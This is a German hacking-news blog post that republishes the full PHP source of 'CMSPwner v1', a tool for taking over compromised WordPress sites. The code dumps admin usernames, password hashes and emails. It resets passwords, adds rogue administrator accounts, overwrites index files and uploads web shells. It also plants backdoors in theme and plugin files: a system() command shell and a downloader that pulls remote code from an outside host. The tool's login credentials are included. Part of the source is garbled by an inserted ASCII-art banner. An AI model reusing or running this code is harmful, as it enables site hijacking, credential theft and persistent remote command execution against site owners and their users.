CMSPwner v1 [WordPress Version][Source]

Veröffentlicht von ¥akuza112am 07. Juli 2012in : SourcesTags: Array, Authuser, Credentials, Information View, Lt, Mx, Option Name, Option Value, Php Script, Platforms, Query Mysql, Reset Passwords, Script Author, Script Title, Select Option, Shell, Source Php, Theme Index, True Function, Www YoutubeKeine Kommentare

I created this script for r00tw0rm community called CMSPwner intended to facilitate the task of penetrating platforms like WordPress, Joomla, etc.
As this is the first version contains only wordpress module (wait for others modules).

With this module you can:

Obtain automatically DB Configuration.
Obtain the most important WordPress information.
View all administrators users.
Reset passwords of them.
Add new administrators users.
Change main index (/) with fopen.
Change actual theme index with fopen.
Change actual theme index with cURL (user credentials required).
Upload shell.
Upload shell to any theme path.
Upload shell to any plugin path.
Put a backdoor editing any index theme file.
Put a backdoor editing any plugin file.

Demostration:

http://www.youtube.com/watch?v=Y8gqHpw4DMQ

Source:

[php]
<?php
#########
# Script Title: CMSPwner v1 WordPress Version
# Version: 1.0 Beta
# Date: 02/08/12
# Script Author: Xt3mP
# Home: http://xt3mp.mx
# For: http://r00tw0rm.com
# Contact: xt3mp[at]null[dot]com
# _____ _____ _____ _____
# | | | __| _ |_ _ _ ___ ___ ___
# | –| | | |__ | __| | | | | -_| _|
# |_____|_|_|_|_____|__| |_____|_|_|___|_|
#
#########
session_start();
$authUser = ‚Xt3mP‘;
$authPass = ’63a9f0ea7bb98050796b649e85481845′;
function checkTable($dbName, $dbPref)
{
$query = mysql_query(‚SHOW TABLES FROM ‚.$dbName) or die(mysql_error());
$allowedTables = array($dbPref.’options‘, $dbPref.’users‘, $dbPref.’usersmeta‘);
$counter = 0;
while($table = mysql_fetch_array($query))
{
if(in_array($table[0], $allowedTables))
$counter++;
}
if($counter != 2)
return false;
else
return true;
}
function getInfo($pref, $optionName)
{
$data = mysql_fetch_object(mysql_query(‚SELECT option_value FROM ‚.$pref.’options WHERE option_name="‘.$optionName.’"‘));
return $data->option_value;
}
function getVersion($url)
{
$source = file_get_contents($url);
$data = preg_match("/<meta name=\"generator\" content=\"WordPress (.*)\" \/>/", $source, $version);
return $version[1];
}
function getTotalAdmins($pref)
{
$adms = @mysql_num_rows(@mysql_query(‚SELECT user_id FROM ‚.$pref.’usermeta WHERE meta_value=10′));
return $adms;
}
function getAdmins($pref, $type = ’name‘)
{
$adm = @mysql_query(‚SELECT user_id FROM ‚.$pref.’usermeta WHERE meta_value=10′);
while($admId = @mysql_fetch_object($adm))
{
if($type == ’name‘)
{
$admData = @mysql_fetch_object(@mysql_query(‚SELECT user_login, user_nicename FROM ‚.$pref.’users WHERE ID=‘.$admId->user_id));
$option .= ‚<option value="‘.$admId->user_id.’">‘.$admData->user_login.'[‚.$admData->user_nicename.‘]</option>‘;
}
else
{
$class = ($number == ‚0‘) ? ‚dark-green‘ : ‚light-green‘;
$admData = @mysql_fetch_object(@mysql_query(‚SELECT user_login, user_pass, user_email FROM ‚.$pref.’users WHERE ID=‘.$admId->user_id));
$option .= ‚<tr class="‘.$class.’"><td>‘.$admData->user_login.'</td><td>‘.$admData->user_pass.'</td><td>‘.$admData->user_email.'</td></tr>‘;
$number = ($number == ‚0‘) ? ‚1‘ : ‚0‘;
}
}
if($type == ’name‘)
return $option;
else
return ‚<table width="100%" align="center"><tr class="header"><td>User</td><td>Pass</td><td>Mail</td></tr>‘.$option.'</table>‘;
}
function updateAdmin($pref, $admUser, $admPass)
{
$newPass = md5($admPass);
$update = @mysql_query(‚UPDATE ‚.$pref.’users SET user_pass="‘.$newPass.’" WHERE ID=‘.$admUser);
if(!$update)
return false;
else
return true;
}
function getAdminById($pref, $admId)
{
$admData = @mysql_fetch_object(@mysql_query(‚SELECT user_login FROM ‚.$pref.’users WHERE ID=‘.$admId));
return $admData->user_login;
}
function checkUser($pref, $admUser)
{
$adm = @mysql_num_rows(@mysql_query(‚SELECT user_login FROM ‚.$pref.’users WHERE user_login="‘.$admUser.’"‘));
if($adm > 0)
return false;
else
return true;
}
function addAdminUser($pref, $admUser, $admPass)
{
$insert = @mysql_query(‚INSERT INTO ‚.$pref.’users (user_login, user_pass, user_nicename, user_email) values ("‘.$admUser.’", "‘.md5($admPass).’", "‘.$admUser.’", "‘.$admUser.’@‘.$admUser.‘.com")‘);
if(!$insert)
{
return false;
}
else
$id = @mysql_fetch_object(@mysql_query(‚SELECT ID FROM ‚.$pref.’users WHERE user_login="‘.$admUser.’"‘));
$insert = mysql_query(‚INSERT INTO ‚.$pref.’usermeta (user_id, meta_key, meta_value) values (‚.$id->ID.‘, "wp_capabilities", "a:1:{s:13:\"administrator\";s:1:\"1\";}")‘) or die(mysql_error());
$insert = mysql_query(‚INSERT INTO ‚.$pref.’usermeta (user_id, meta_key, meta_value) values (‚.$id->ID.‘, "wp_user_level", "10")‘) or die(mysql_error());
return true;
}
function checkLogin($wpUrl, $wpUser, $wpPass)
{
$fields = ‚log=‘.$wpUser.’&pwd=‘.$wpPass.’&wp-submit=Acceder‘;
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, ‚User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2) Gecko/20111014 Firefox/9.0a2′);
curl_setopt($ch, CURLOPT_AUTOREFERER, false);
curl_setopt($ch, CURLOPT_REFERER, $wpUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_URL, $wpUrl.’/wp-login.php‘);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
curl_setopt($ch, CURLOPT_COOKIEJAR, ‚cookie.txt‘);
$data = curl_exec($ch);
curl_close($ch);
if(strstr($data, ‚<strong>ERROR</strong>‘))
return false;
else
return true;
}
function sourceIndex($wpUrl, $theme)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wpUrl.’/wp-admin/theme-editor.php?file=index.php&theme=‘.$theme);
curl_setopt($ch, CURLOPT_COOKIEFILE, ‚cookie.txt‘);
curl_setopt($ch, CURLOPT_USERAGENT, ‚User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2) Gecko/20111014 Firefox/9.0a2′);
curl_setopt($ch, CURLOPT_AUTOREFERER, false);
curl_setopt($ch, CURLOPT_REFERER, $wpUrl.’/wp-admin/theme-editor.php?file=index.php&theme=‘.$theme);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function changeIndex($wpUrl, $wpCont, $theme, $wpnonce)
{
$ch = curl_init();
$fields = ‚_wpnonce=‘.$wpnonce.’&newcontent=‘.urlencode($wpCont).’&action=update&file=index.php&theme=‘.$theme.’&scrollto=0&submit=Actualizar Archivo‘;
curl_setopt($ch, CURLOPT_URL, $wpUrl.’/wp-admin/theme-editor.php?file=index.php&theme=‘.$theme);
curl_setopt($ch, CURLOPT_COOKIEFILE, ‚cookie.txt‘);
curl_setopt($ch, CURLOPT_USERAGENT, ‚User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2) Gecko/20111014 Firefox/9.0a2′);
curl_setopt($ch, CURLOPT_AUTOREFERER, false);
curl_setopt($ch, CURLOPT_REFERER, $wpUrl.’/wp-admin/theme-editor.php?file=index.php&theme=‘.$theme);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
$data = curl_exec($ch);
curl_close($ch);
return true;
}
function getThemes()
{
$themes = scandir(‚./wp-content/themes/‘);
foreach($themes as $theme)
{
if($theme != ‚.‘ && $theme != ‚..‘ && is_dir(‚./wp-content/themes/‘.$theme))
{
$realThemes .= ‚<option value="‘.$theme.’">‘.$theme.'</option>‘;
}
}
return $realThemes;
}
function getPlugins()
{
$plugins = scandir(‚./wp-content/plugins/‘);
foreach($plugins as $plugin)
{
if($plugin != ‚.‘ && $plugin != ‚..‘ && is_dir(‚./wp-content/plugins/‘.$plugin))
{
$pluginData = pathinfo(‚./wp-content/plugins/‘.$plugin);
$pluginPath = $plugin;
if(!is_dir(‚./wp-content/plugins/‘.$plugin))
{
$pluginPath = ‚/‘;
$plugin = $pluginData[‚filename‘];
}
$realPlugins .= ‚<option value="‘.$pluginPath.’">‘.$plugin.'</option>‘;
}
}
return $realPlugins.'<option value="/">/</option>‘;
}

.–,-„-. ,-.—-.
,–, ,–, ___ / / ‚. ____ \ / \
|‘. \ / .`| ,–.’|_ / ../ ; ,‘ , `.| : \
; \ `\ /‘ / ; | | :,‘ \ „\ .`- ‚ ,-+-,.‘ _ || | .\ :
`. \ / / .‘ : : ‚ : \___\/ \ : ,-+-. ; , ||. : |: |
\ \/ / ./.;__,‘ / \ : | ,–.’|‘ | ||| | \ :
\ \.‘ / | | | / / / | | ,‘, | |,| : . /
\ ; ; :__,’| : \ \ \ | | / | |–‚ ; | |`-‚
/ \ \ \ ‚ : |__ ___ / : || : | | , | | ;
; /\ \ \ | | ‚.’| / /\ / :| : | |/ : ‚ |
./__; \ ; \ ; : ;/ ,,/ ‚,- .| | |`-‚ : : :
| : / \ \ ;| , / \ “\ ; | ;/ | | :
; |/ \ ‚ | —`-‚ \ \ .‘ ‚—‚ `—‚.|
`—‚ `–` `–`-,,-‚ `—`
</pre>
<pre>
+————————————————————————+
| Website: http://xt3mp.mx |
| Contact: xt3mp[at]null[dot]net |
+————————————————————————+
</pre>
</div>
<?php
break;
case 1:
?>
<div id="info">All Admin users appear below:</div>
<div id="data"><?php echo getAdmins($_SESSION[‚dbPref‘], ‚list‘); ?></div>
<?php
break;
case 2:
$showForm = true;
if(isset($_POST[‚change_pass‘])):
$admUser = $_POST[‚adminId‘];
$admPass = $_POST[‚admin_pass‘];
if(!updateAdmin($_SESSION[‚dbPref‘], $admUser, $admPass)):
echo ‚<div class="error">Can\’t update admin password: Internal error</div>‘;
else:
$admUser = getAdminById($_SESSION[‚dbPref‘], $admUser);
$showForm = false;
echo ‚<div class="success">Admin password updated correctly: ‚.$admUser.‘::‘.$admPass.'</div>‘;
echo ‚<META HTTP-EQUIV="refresh" CONTENT="2; url=?">‘;
endif;
endif;
?>
<?php
if($showForm):
?>
<div id="info">Select Admin User and Insert a New Password:</div>
<div id="data">
<div class="clear"><label>User:</label><select name="adminId"><?php echo getAdmins($_SESSION[‚dbPref‘]); ?></select>< Select Admin User<br /></div>
<div class="clear"><label>Pass:</label><input type="text" id="new_pass" name="admin_pass" value="new_pass" />< Insert New Password<br /></div>
<div class="clear"><label></label><input type="submit" name="change_pass" value="Change Admin Pass" /></div>
</div>
<?php
endif;
?>
<?php
break;
case 3:
$showForm = true;
if(isset($_POST[‚add_admin‘])):
$admUser = $_POST[‚admin_user‘];
$admPass = $_POST[‚admin_pass‘];
if(!checkUser($_SESSION[‚dbPref‘], $admUser)):
echo ‚<div class="error">Can\’t add new Admin User: ‚.$admUser.‘ is in use</div>‘;
elseif(!addAdminUser($_SESSION[‚dbPref‘], $admUser, $admPass)):
echo ‚<div class="error">Can\’t insert new Admin User: Internal error</div>‘;
else:
$showForm = false;
echo ‚<div class="success">New Admin User inserted correctly: ‚.$admUser.‘::‘.$admPass.'</div>‘;
echo ‚<META HTTP-EQUIV="refresh" CONTENT="2; url=?">‘;
endif;
endif;
?>
<?php
if($showForm):
?>
<div id="info">Insert New Admin User:</div>
<div id="data">
<div class="clear"><label>User:</label><input type="text" id="new_user" name="admin_user" value="Admin2" />< Insert Admin User<br /></div>
<div class="clear"><label>Pass:</label><input type="text" id="new_pass" name="admin_pass" value="new_pass" />< Insert New Password<br /></div>
<div class="clear"><label></label><input type="submit" name="add_admin" value="Add New Admin" /></div>
</div>
<?php
endif;
?>
<?php
break;
case 4:
$showForm = true;
$indexContent = @file_get_contents(‚./index.php‘);
if(isset($_POST[‚change_index‘])):
$newContent = stripslashes($_POST[’new_content‘]);
$newIndex = @fopen(‚index.php‘, ‚w+‘);
if(!$newIndex):
echo ‚<div class="error">Can\’t create new index file</div>‘;
else:
$showForm = false;
@fwrite($newIndex, $newContent);
@fclose($newIndex);
echo ‚<div class="success">Index updated correctly</div>‘;
echo ‚<META HTTP-EQUIV="refresh" CONTENT="2; url=?">‘;
endif;
endif;
if($showForm):
?>
<div id="info">Insert New Index Content (WP Main Index) [fopen]:</div>
<div id="data">
<div class="clear"><label>Content:</label><textarea name="new_content" style="text-align: left;font-size:13px;font-family:’Courier New‘, Courier, monospace" rows="5"><?php echo $indexContent; ?></textarea><br /></div>
<div class="clear"><label></label><input type="submit" name="change_index" value="Change Index" /></div>
</div>
<?php
endif;
?>
<?php
break;
case 5:
$showForm = true;
$next = false;
if(isset($_POST[‚change_index‘])):
$wpUrl = getInfo($_SESSION[‚dbPref‘], ’siteurl‘);
if(substr($wpUrl, -1) == ‚/‘)
$wpUrl = substr($wpUrl, 0, strlen($wpUrl) – 1);
$wpUser = $_POST[‚admin_user‘];
$wpPass = $_POST[‚admin_pass‘];
$wpCont = stripslashes($_POST[’new_content‘]);
if(!checkLogin($wpUrl, $wpUser, $wpPass)):
echo ‚<div class="error">Can\’t login with: ‚.$wpUser.‘::‘.$wpPass.'</div>‘;
else:
$source = sourceIndex($wpUrl, getInfo($_SESSION[‚dbPref‘], ‚template‘));
$data = @preg_match("/<input type=\"hidden\" id=\"_wpnonce\" name=\"_wpnonce\" value=\"(.*)\" \/></", $source, $wpnonce);
$next = true;
endif;
if($next === false):
elseif($next === true && empty($wpnonce[1])):
echo ‚<div class="error">Can\’t get wp nonce</div>‘;
elseif(!changeIndex($wpUrl, $wpCont, getInfo($_SESSION[‚dbPref‘], ‚template‘), $wpnonce[1])):
echo ‚<div class="error">Can\’t update index file</div>‘;
else:
$showForm = false;
echo ‚<div class="success">Index updated correctly</div>‘;
echo ‚<META HTTP-EQUIV="refresh" CONTENT="2; url=?">‘;
endif;
endif;
if($showForm):
?>
<div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION[‚dbPref‘], ’siteurl‘); ?>/wp-content/themes/<?php echo getInfo($_SESSION[‚dbPref‘], ‚template‘); ?>"><?php echo getInfo($_SESSION[‚dbPref‘], ‚template‘); ?></a><br /></div>
<div id="info">Insert New Index Content (WP Actual Theme Index) [cURL]:</div>
<div id="data">
<div class="clear"><label>User:</label><input type="text" id="new_user" name="admin_user" value="Admin2" />< Insert Admin User<br /></div>
<div class="clear"><label>Pass:</label><input type="text" id="new_pass" name="admin_pass" value="new_pass" />< Insert Admin Password<br /></div>
<div class="clear"><label>Content:</label><textarea name="new_content" style="text-align: left;font-size:13px;font-family:’Courier New‘, Courier, monospace" rows="5"></textarea><br /></div>
<div class="clear"><label></label><input type="submit" name="change_index" value="Change Index" /></div>
</div>
<?php
endif;
?>
<?php
break;
case 6:
$showForm = true;
$theme = getInfo($_SESSION[‚dbPref‘], ‚template‘);
if(isset($_POST[‚change_index‘])):
$wpCont = stripslashes($_POST[’new_content‘]);
$themeContent = @fopen(‚./wp-content/themes/‘.$theme.’/index.php‘, ‚w+‘);
if(!$themeContent):
echo ‚<div class="error">Can\’t open/found index.php file</div>‘;
else:
@fwrite($themeContent, $wpCont);
@fclose($themeContent);
$showForm = false;
echo ‚<div class="success">Index updated correctly</div>‘;
echo ‚<META HTTP-EQUIV="refresh" CONTENT="2; url=?">‘;
endif;
endif;
if($showForm):
$themeContent = @file_get_contents(‚./wp-content/themes/‘.$theme.’/index.php‘);
?>
<div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION[‚dbPref‘], ’siteurl‘); ?>/wp-content/themes/<?php echo getInfo($_SESSION[‚dbPref‘], ‚template‘); ?>"><?php echo getInfo($_SESSION[‚dbPref‘], ‚template‘); ?></a><br /></div>
<div id="info">Insert New Index Content (WP Actual Theme Index) [fopen]:</div>
<div id="data">
<div class="clear"><label>Content:</label><textarea name="new_content" style="text-align: left;font-size:13px;font-family:’Courier New‘, Courier, monospace" rows="5"><?php echo $themeContent; ?></textarea><br /></div>
<div class="clear"><label></label><input type="submit" name="change_index" value="Change Index" /></div>
</div>
<?php
endif;
break;
case 7:
$showForm = true;
if(isset($_POST[‚upload_shell‘])):
$uploadShell = basename($_FILES[‚file‘][’name‘]);
if(!move_uploaded_file($_FILES[‚file‘][‚tmp_name‘], $uploadShell)):
echo ‚<div class="error">Can\’t Upload Shell</div>‘;
else:
$showForm = false;
echo ‚<div class="success">Shell Uploaded Correctly: <a href="‘.getInfo($_SESSION[‚dbPref‘], ’siteurl‘).’/‘.$uploadShell.’" target="_blank">‘.$uploadShell.'</a></div>‘;
endif;
endif;
if($showForm):
?>
<div id="info">Upload Shell To This Path:</div>
<div id="data">
<div class="clear"><label>File:</label><input type="file" name="file" style="border: 1px dashed #00CF00;"/>
<input type="submit" name="upload_shell" value="Upload Shell" style="margin-left: -15px;"/></div>
</div>
<?php
endif;
break;
case 8:
$showForm = true;
if(isset($_POST[‚make_shell‘])):
$shellTheme = $_POST[’shell_theme‘];
$shellName = $_POST[’shell_name‘];
$shellCont = stripslashes($_POST[’shell_content‘]);
$makeShell = @fopen(‚./wp-content/themes/‘.$shellTheme.’/‘.$shellName, ‚w+‘);
if(!$makeShell):
echo ‚<div class="error">Can\’t Make Shell In ‚.$shellTheme.'</div>‘;
else:
$showForm = false;
@fwrite($makeShell, $shellCont);
@fclose($makeShell);
echo ‚<div class="success">Shell Maked Correctly: <a href="‘.getInfo($_SESSION[‚dbPref‘], ’siteurl‘).’/wp-content/themes/‘.$shellTheme.’/‘.$shellName.’" target="_blank">‘.$shellName.'</a></div>‘;
endif;
endif;
if($showForm):
?>
<div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION[‚dbPref‘], ’siteurl‘); ?>/wp-content/themes/<?php echo getInfo($_SESSION[‚dbPref‘], ‚template‘); ?>"><?php echo getInfo($_SESSION[‚dbPref‘], ‚template‘); ?></a><br /></div>
<div id="info">Make Shell To Themes Path [fopen]:</div>
<div id="data">
<div class="clear"><label>Theme:</label><select name="shell_theme"><?php echo getThemes(); ?></select>< Select Theme<br /></div>
<div class="clear"><label>Name:</label><input type="text" id="shell_name" name="shell_name" value="shell.php" />< Insert Shell Name<br /></div>
<div class="clear"><label>Content:</label><textarea name="shell_content" style="text-align: left;font-size:13px;font-family:’Courier New‘, Courier, monospace" rows="5"><?php echo $themeContent; ?></textarea><br /></div>
<div class="clear"><label></label><input type="submit" name="make_shell" value="Make Shell" /></div>
</div>
<?php
endif;
break;
case 9:
$showForm = true;
if(isset($_POST[‚make_shell‘])):
$shellPlugin = $_POST[’shell_plugin‘];
$shellName = $_POST[’shell_name‘];
$shellCont = stripslashes($_POST[’shell_content‘]);
$makeShell = @fopen(‚./wp-content/plugins/‘.$shellPlugin.’/‘.$shellName, ‚w+‘);
if(!$makeShell):
echo ‚<div class="error">Can\’t Make Shell In ‚.$shellPlugin.'</div>‘;
else:
$showForm = false;
@fwrite($makeShell, $shellCont);
@fclose($makeShell);
echo ‚<div class="success">Shell Maked Correctly: <a href="‘.getInfo($_SESSION[‚dbPref‘], ’siteurl‘).’/wp-content/plugins/‘.$shellPlugin.’/‘.$shellName.’" target="_blank">‘.$shellName.'</a></div>‘;
endif;
endif;
if($showForm):
?>
<div id="info" style="margin-bottom: 5px;">Active Plugins (this can be different to Plugins Path):<br /> <?php echo getInstalledPlugins(getInfo($_SESSION[‚dbPref‘], ’siteurl‘), getInfo($_SESSION[‚dbPref‘], ‚active_plugins‘)); ?><br /></div>
<div id="info">Make Shell To Plugins Path [fopen]:</div>
<div id="data">
<div class="clear"><label>Plugin:</label><select name="shell_plugin"><?php echo getPlugins(); ?></select>< Select Plugin<br /></div>
<div class="clear"><label>Name:</label><input type="text" id="shell_name" name="shell_name" value="shell.php" />< Insert Shell Name<br /></div>
<div class="clear"><label>Content:</label><textarea name="shell_content" style="text-align: left;font-size:13px;font-family:’Courier New‘, Courier, monospace" rows="5"><?php echo $themeContent; ?></textarea><br /></div>
<div class="clear"><label></label><input type="submit" name="make_shell" value="Make Shell" /></div>
</div>
<?php
endif;
break;
case 10:
$showForm = true;
if(isset($_POST[‚make_backdoor‘])):
$backdoorTheme = $_POST[‚backdoor_theme‘];
$backdoorType = $_POST[‚backdoor_type‘];
$realTheme = @file_get_contents(‚./wp-content/themes/‘.$backdoorTheme.’/index.php‘);
if(strstr($realTheme, ‚<?php‘)):
$exp = ‚<?php‘;
elseif(strstr($realTheme, ‚<?‘)):
$exp = ‚<?‘;
endif;
if($backdoorType == ‚1‘):
$extra = ‚?active=true&cmd=COMMAND‘;
$backdoorCont = ‚if(!empty($_GET[\’active\‘])){system($_GET[\’cmd\‘]);exit();}‘;
else:
$extra = ‚?active=true&filename=SHELL.PHP&externalfile=http://xt3mp.mx/shell.txt‘;
$backdoorCont = ‚if(!empty($_GET[\’active\‘])){$fileContent = @file_get_contents($_GET[\’externalfile\‘]);$file = fopen($_GET[\’filename\‘], \’w+\‘);@fwrite($file, $fileContent);@fclose($file);echo \'<a href="\‘.$_GET[\’filename\‘].\’">\‘.$_GET[\’filename\‘].\'</a>\‘;exit();}‘;
endif;
$explode = explode($exp, $realTheme, 2);
$newContent = stripslashes($exp.‘ ‚.$backdoorCont.‘ ‚.$explode[1]);
$makeBackdoor = @fopen(‚./wp-content/themes/‘.$backdoorTheme.’/index.php‘, ‚w+‘);
if(!$makeBackdoor):
echo ‚<div class="error">Can\’t Make Backdoor In /wp-content/themes/‘.$backdoorTheme.’/index.php</div>‘;
else:
$showForm = false;
@fwrite($makeBackdoor, $newContent);
@fclose($makeBackdoor);
echo ‚<div class="success">Backdoor Maked Correctly: <br />‘.getInfo($_SESSION[‚dbPref‘], ’siteurl‘).’/wp-content/themes/‘.$backdoorTheme.’/index.php‘.$extra.'</div>‘;
endif;
endif;
if($showForm):
?>
<div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION[‚dbPref‘], ’siteurl‘); ?>/wp-content/themes/<?php echo getInfo($_SESSION[‚dbPref‘], ‚template‘); ?>"><?php echo getInfo($_SESSION[‚dbPref‘], ‚template‘); ?></a><br /></div>
<div id="info">Make Shell To Themes Path [fopen]:</div>
<div id="data">
<div class="clear"><label>Theme:</label><select name="backdoor_theme"><?php echo getThemes(); ?></select>< Select Theme<br /></div>
<div class="clear"><label>Type:</label><select name="backdoor_type"><option value="1">system();</option><option value="2">File Downloader</option></select>< Select Backdoor Type</div>
<div class="clear"><label></label><input type="submit" name="make_backdoor" value="Make Backdoor" /></div>
</div>
<?php
endif;
break;
case 11:
$showForm = true;
if(isset($_POST[‚make_backdoor‘])):
$backdoorPlugin = $_POST[‚backdoor_plugin‘];
$backdoorType = $_POST[‚backdoor_type‘];
$realPlugin = @file_get_contents(‚./wp-content/plugins/‘.$backdoorPlugin);
if(strstr($realPlugin, ‚<?php‘)):
$exp = ‚<?php‘;
elseif(strstr($realPlugin, ‚<?‘)):
$exp = ‚<?‘;
endif;
if($backdoorType == ‚1‘):
$extra = ‚?active=true&cmd=COMMAND‘;
$backdoorCont = ‚if(!empty($_GET[\’active\‘])){system($_GET[\’cmd\‘]);exit();}‘;
else:
$extra = ‚?active=true&filename=SHELL.PHP&externalfile=http://xt3mp.mx/shell.txt‘;
$backdoorCont = ‚if(!empty($_GET[\’active\‘])){$fileContent = @file_get_contents($_GET[\’externalfile\‘]);$file = fopen($_GET[\’filename\‘], \’w+\‘);@fwrite($file, $fileContent);@fclose($file);echo \'<a href="\‘.$_GET[\’filename\‘].\’">\‘.$_GET[\’filename\‘].\'</a>\‘;exit();}‘;
endif;
$explode = explode($exp, $realPlugin, 2);
$newContent = $exp.‘ ‚.$backdoorCont.‘ ‚.$explode[1];
$makeBackdoor = @fopen(‚./wp-content/plugins/‘.$backdoorPlugin, ‚w+‘);
if(!$makeBackdoor):
echo ‚<div class="error">Can\’t Make Backdoor In /wp-content/plugins/‘.$backdoorPlugin.'</div>‘;
else:
$showForm = false;
@fwrite($makeBackdoor, $newContent);
@fclose($makeBackdoor);
echo ‚<div class="success">Backdoor Maked Correctly: <br />‘.getInfo($_SESSION[‚dbPref‘], ’siteurl‘).’/wp-content/plugins/‘.$backdoorPlugin.$extra.'</div>‘;
endif;
endif;
if($showForm):
?>
<div id="info">Make Shell To Plugins Path [fopen]:</div>
<div id="data">
<div class="clear"><label>Plugin:</label><select name="backdoor_plugin"><?php echo getInstalledPlugins(getInfo($_SESSION[‚dbPref‘], ’siteurl‘), getInfo($_SESSION[‚dbPref‘], ‚active_plugins‘), true); ?></select>< Select Plugin (Active Plugins)<br /></div>
<div class="clear"><label>Type:</label><select name="backdoor_type"><option value="1">system();</option><option value="2">File Downloader</option></select>< Select Backdoor Type</div>
<div class="clear"><label></label><input type="submit" name="make_backdoor" value="Make Backdoor" /></div>
</div>
<?php
endif;
break;
default;
echo ‚<META HTTP-EQUIV="refresh" CONTENT="0; url=?">‘;
?>
<?php
endswitch;
?>
</div>
<?php
endif;
?>
</fieldset>
<?php
endif;
?>
</form>
</div>
<pre style="text-align: center;margin-top: 5px">[email protected] >> http://xt3mp.mx</pre>
</body>
</html>
[/php]

More information:
http://pastebin.com/S61AxmWV

Login data

User: Xt3mP
Pass: root

Important
You must put this script on same wordpress path.

¥akuza112

Ich beschäftige mich größtenteils mit aktuellen Nachrichten bzgl. Hacking, Cracking & Security, sowie Globalen und Scene News. Wir haben uns nicht unterkriegen lassen und sind trotz vieler Drohungen, Ddos Attacken usw. seit August 2010 online. Die Privatsphäre unserer Leser liegt uns sehr am Herzen, weswegen wir keinerlei Nutzerdaten (in Form von IP Adressen) unserer Nutzer in der Datenbank speichern. Falls Sie Fragen, Anregungen oder Kritik haben, schicken Sie mir doch einfach eine Nachricht. Weitere Kontaktmöglichkeiten finden Sie auf yakuza112.org.

The truth about Hackbase.cc…

Kim Dotcom plant MegaUpload-Relaunch

Über den Autor

¥akuza112

Ähnliche Artikel

Hinterlasse eine Antwort Breche Antwort ab

CMSPwner v1 [WordPress Version][Source]

The truth about Hackbase.cc…

Kim Dotcom plant MegaUpload-Relaunch

Über den Autor

¥akuza112

Ähnliche Artikel

Spammer mit Fail2Ban und Antispam Bee loswerden

PHP Online/Offline Checker über HTTP Header

vBulletin Forum Shell Injection

Hinterlasse eine Antwort Breche Antwort ab